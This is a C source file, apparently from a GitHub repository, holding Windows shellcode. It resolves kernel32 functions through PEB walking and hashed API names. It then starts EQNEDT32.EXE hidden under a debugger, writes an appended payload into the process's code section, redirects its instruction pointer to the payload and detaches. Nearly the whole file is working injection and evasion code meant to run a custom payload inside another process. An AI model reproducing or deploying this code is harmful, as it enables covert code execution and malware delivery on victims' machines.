-
Notifications
You must be signed in to change notification settings - Fork 93
/
shellcode.c
405 lines (335 loc) · 11 KB
/
shellcode.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
// Author: unamer
// Shellcode for injecting custom shellcode to other process.
#pragma comment(linker, "/ENTRY:main")
#include <windows.h>
#pragma once
#define MAKESTR(s, length) MAKESTR_##length(s)
/*
for i in range(1,51):
s = "#define MAKESTR_%d(s) {" % i
for j in range(i):
s += "s[%d]," % j
s += "0}"
print(s)
*/
#define MAKESTR_1(s) {s[0],0}
#define MAKESTR_2(s) {s[0],s[1],0}
#define MAKESTR_3(s) {s[0],s[1],s[2],0}
#define MAKESTR_4(s) {s[0],s[1],s[2],s[3],0}
#define MAKESTR_5(s) {s[0],s[1],s[2],s[3],s[4],0}
#define MAKESTR_6(s) {s[0],s[1],s[2],s[3],s[4],s[5],0}
#define MAKESTR_7(s) {s[0],s[1],s[2],s[3],s[4],s[5],s[6],0}
#define MAKESTR_8(s) {s[0],s[1],s[2],s[3],s[4],s[5],s[6],s[7],0}
#define MAKESTR_9(s) {s[0],s[1],s[2],s[3],s[4],s[5],s[6],s[7],s[8],0}
#define MAKESTR_10(s) {s[0],s[1],s[2],s[3],s[4],s[5],s[6],s[7],s[8],s[9],0}
#define MAKESTR_11(s) {s[0],s[1],s[2],s[3],s[4],s[5],s[6],s[7],s[8],s[9],s[10],0}
#define MAKESTR_12(s) {s[0],s[1],s[2],s[3],s[4],s[5],s[6],s[7],s[8],s[9],s[10],s[11],0}
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
typedef struct _PEB_LDR_DATA {
ULONG Length;
ULONG Initialized;
ULONG SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
BYTE Reserved4[104];
PVOID Reserved5[52];
PVOID PostProcessInitRoutine;
BYTE Reserved6[128];
PVOID Reserved7[1];
ULONG SessionId;
} PEB, *PPEB;
typedef int (WINAPI *_ExitProcess)(int code);
int main();
typedef BOOL(WINAPI *_DebugSetProcessKillOnExit)(
_In_ BOOL KillOnExit
);
typedef BOOL (WINAPI *_SetThreadContext)(
_In_ HANDLE hThread,
_In_ const CONTEXT *lpContext
);
typedef BOOL (WINAPI *_ContinueDebugEvent)(
_In_ DWORD dwProcessId,
_In_ DWORD dwThreadId,
_In_ DWORD dwContinueStatus
);
typedef
BOOL (WINAPI* _GetThreadContext)(
_In_ HANDLE hThread,
_Inout_ LPCONTEXT lpContext
);
typedef BOOL (WINAPI* _WriteProcessMemory)(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_ LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_ SIZE_T *lpNumberOfBytesWritten
);
typedef BOOL (WINAPI *_VirtualProtectEx)(
_In_ HANDLE hProcess,
_In_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flNewProtect,
_Out_ PDWORD lpflOldProtect
);
typedef BOOL (WINAPI *_WaitForDebugEvent)(
_Out_ LPDEBUG_EVENT lpDebugEvent,
_In_ DWORD dwMilliseconds
);
typedef
BOOL(WINAPI *_DebugActiveProcessStop)(
_In_ DWORD dwProcessId
);
typedef BOOL (WINAPI* _CreateProcessA)(
_In_opt_ LPCSTR lpApplicationName,
_Inout_opt_ LPSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCSTR lpCurrentDirectory,
_In_ LPSTARTUPINFOA lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);
DWORD getDllByName(DWORD dllHash);
PVOID getFunctionAddr(DWORD dwModule, DWORD functionHash);
DWORD djbHash(char* str);
DWORD djbHashW(wchar_t* str);
DWORD geteip();
int main() {
DWORD hashKernel32 = 0x6DDB9555; // djbHashW(L"KERNEL32.DLL");
DWORD hKernel32 = getDllByName(hashKernel32);
if (hKernel32 == 0) {
hKernel32 = getDllByName(0x7040EE75);
if (!hKernel32)
return 1;
}
DWORD hashExit = 0xb769339e;
_ExitProcess xExitProcess = (_ExitProcess)getFunctionAddr(hKernel32, hashExit);
if (xExitProcess == NULL) {
return 1;
}
DWORD hashvtp = 0xd812922a;
_VirtualProtectEx xVirtualProtectEx = (_VirtualProtectEx)getFunctionAddr(hKernel32, hashvtp);
if (xVirtualProtectEx == NULL) {
xExitProcess(0);
}
DWORD hashWriteProcessMemory = 0x6f22e8c8;
_WriteProcessMemory xWriteProcessMemory = (_WriteProcessMemory)getFunctionAddr(hKernel32, hashWriteProcessMemory);
if (xWriteProcessMemory == NULL) {
xExitProcess(0);
}
DWORD hashGetThreadContext = 0xeba2cfc2;
_GetThreadContext xGetThreadContext = (_GetThreadContext)getFunctionAddr(hKernel32, hashGetThreadContext);
if (xGetThreadContext == NULL) {
xExitProcess(0);
}
DWORD hashWaitForDebugEvent = 0xbe7a3faa;
_WaitForDebugEvent xWaitForDebugEvent = (_WaitForDebugEvent)getFunctionAddr(hKernel32, hashWaitForDebugEvent);
if (xWaitForDebugEvent == NULL) {
xExitProcess(0);
}
DWORD hashContinueDebugEvent = 0x97f8f4f3;
_ContinueDebugEvent xContinueDebugEvent = (_ContinueDebugEvent)getFunctionAddr(hKernel32, hashContinueDebugEvent);
if (xContinueDebugEvent == NULL) {
xExitProcess(0);
}
DWORD hashSetThreadContext = 0x7e20964e;
_SetThreadContext xSetThreadContext = (_SetThreadContext)getFunctionAddr(hKernel32, hashSetThreadContext);
if (xSetThreadContext == NULL) {
xExitProcess(0);
}
DWORD hashCreateProcessA = 0xaeb52e19;
_CreateProcessA xCreateProcessA = (_CreateProcessA)getFunctionAddr(hKernel32, hashCreateProcessA);
if (xCreateProcessA == NULL) {
xExitProcess(0);
}
DWORD hashDebugSetProcessKillOnExit = 0xbb0c6a5a;
_DebugSetProcessKillOnExit xDebugSetProcessKillOnExit = (_DebugSetProcessKillOnExit)getFunctionAddr(hKernel32, hashDebugSetProcessKillOnExit);
if (xDebugSetProcessKillOnExit == NULL) {
xExitProcess(0);
}
DWORD hashDebugActiveProcessStop = 0x8277bf8d;
_DebugActiveProcessStop xDebugActiveProcessStop = (_DebugActiveProcessStop)getFunctionAddr(hKernel32, hashDebugActiveProcessStop);
if (xDebugActiveProcessStop == NULL) {
xExitProcess(0);
}
STARTUPINFOA si;
PROCESS_INFORMATION pi;
RtlSecureZeroMemory(&si, sizeof si);
RtlSecureZeroMemory(&pi, sizeof pi);
si.cb = sizeof si;
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
char cmd[] = MAKESTR("EQNEDT32.EXE", 12);
// Create debug process
if (!xCreateProcessA(0, cmd, 0, 0, 0, DEBUG_ONLY_THIS_PROCESS,0,0,&si,&pi))
{
xExitProcess(-1);
}
DEBUG_EVENT de;
RtlSecureZeroMemory(&de, sizeof de);
HANDLE hProc = 0,hThread=0;
while (de.dwDebugEventCode != CREATE_PROCESS_DEBUG_EVENT)
{
if (!xWaitForDebugEvent(&de,5000))
{
xExitProcess(0);
}
if (de.dwDebugEventCode != CREATE_PROCESS_DEBUG_EVENT)
{
xContinueDebugEvent(pi.dwProcessId, pi.dwThreadId, DBG_CONTINUE);
}
}
hProc = de.u.CreateProcessInfo.hProcess;
hThread = de.u.CreateProcessInfo.hThread;
DWORD by;
CONTEXT c;
RtlSecureZeroMemory(&c, sizeof c);
c.ContextFlags = CONTEXT_CONTROL;
if (!xGetThreadContext(hThread,&c))
{
xExitProcess(0);
}
if (!xVirtualProtectEx(hProc,(LPVOID)0x401000,0x5000,PAGE_EXECUTE_READWRITE,&by))
{
xExitProcess(0);
}
by = 0;
DWORD ip = geteip()+1;
DWORD scsize = 0;
_asm {
mov eax, ip;
mov eax, dword ptr[eax];
mov scsize, eax;
}
ip += 4;
if (!xWriteProcessMemory(hProc,(LPVOID)0x401000,(LPVOID)ip,scsize,&by))
{
xExitProcess(0);
}
c.Eip = 0x401000;
if (!xSetThreadContext(hThread,&c))
{
xExitProcess(0);
}
if (!xDebugSetProcessKillOnExit(0))
{
xExitProcess(0);
}
if (!xContinueDebugEvent(pi.dwProcessId, pi.dwThreadId, DBG_CONTINUE))
{
xExitProcess(0);
}
if (!xDebugActiveProcessStop(pi.dwProcessId))
{
xExitProcess(0);
}
xExitProcess(0);
}
inline PEB* getPeb() {
__asm {
mov eax, fs:[0x30];
}
}
DWORD djbHash(char* str) {
unsigned int hash = 5381;
unsigned int i = 0;
for (i = 0; str[i] != 0; i++) {
hash = ((hash << 5) + hash) + str[i];
}
return hash;
}
DWORD djbHashW(wchar_t* str) {
unsigned int hash = 5381;
unsigned int i = 0;
for (i = 0; str[i] != 0; i++) {
hash = ((hash << 5) + hash) + str[i];
}
return hash;
}
DWORD getDllByName(DWORD dllHash) {
PEB* peb = getPeb();
PPEB_LDR_DATA Ldr = peb->Ldr;
PLDR_DATA_TABLE_ENTRY moduleList = (PLDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink;
wchar_t* pBaseDllName = moduleList->BaseDllName.Buffer;
wchar_t* pFirstDllName = moduleList->BaseDllName.Buffer;
do {
if (pBaseDllName != NULL) {
if (djbHashW(pBaseDllName) == dllHash) {
return (DWORD)moduleList->BaseAddress;
}
}
moduleList = (PLDR_DATA_TABLE_ENTRY)moduleList->InLoadOrderModuleList.Flink;
pBaseDllName = moduleList->BaseDllName.Buffer;
} while (pBaseDllName != pFirstDllName);
return 0;
}
PVOID getFunctionAddr(DWORD dwModule, DWORD functionHash) {
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)dwModule;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD)dosHeader + dosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY dataDirectory = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (dataDirectory->VirtualAddress == 0) {
return NULL;
}
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dwModule + dataDirectory->VirtualAddress);
PDWORD ardwNames = (PDWORD)(dwModule + exportDirectory->AddressOfNames);
PWORD arwNameOrdinals = (PWORD)(dwModule + exportDirectory->AddressOfNameOrdinals);
PDWORD ardwAddressFunctions = (PDWORD)(dwModule + exportDirectory->AddressOfFunctions);
char* szName = 0;
WORD wOrdinal = 0;
for (unsigned int i = 0; i < exportDirectory->NumberOfNames; i++) {
szName = (char*)(dwModule + ardwNames[i]);
if (djbHash(szName) == functionHash) {
wOrdinal = arwNameOrdinals[i];
return (PVOID)(dwModule + ardwAddressFunctions[wOrdinal]);
}
}
return NULL;
}
__declspec(naked) DWORD geteip()
{
__asm {
jmp lab1;
sub1:
mov eax, dword ptr[esp];
ret;
lab1:
call sub1;
ret;
}
}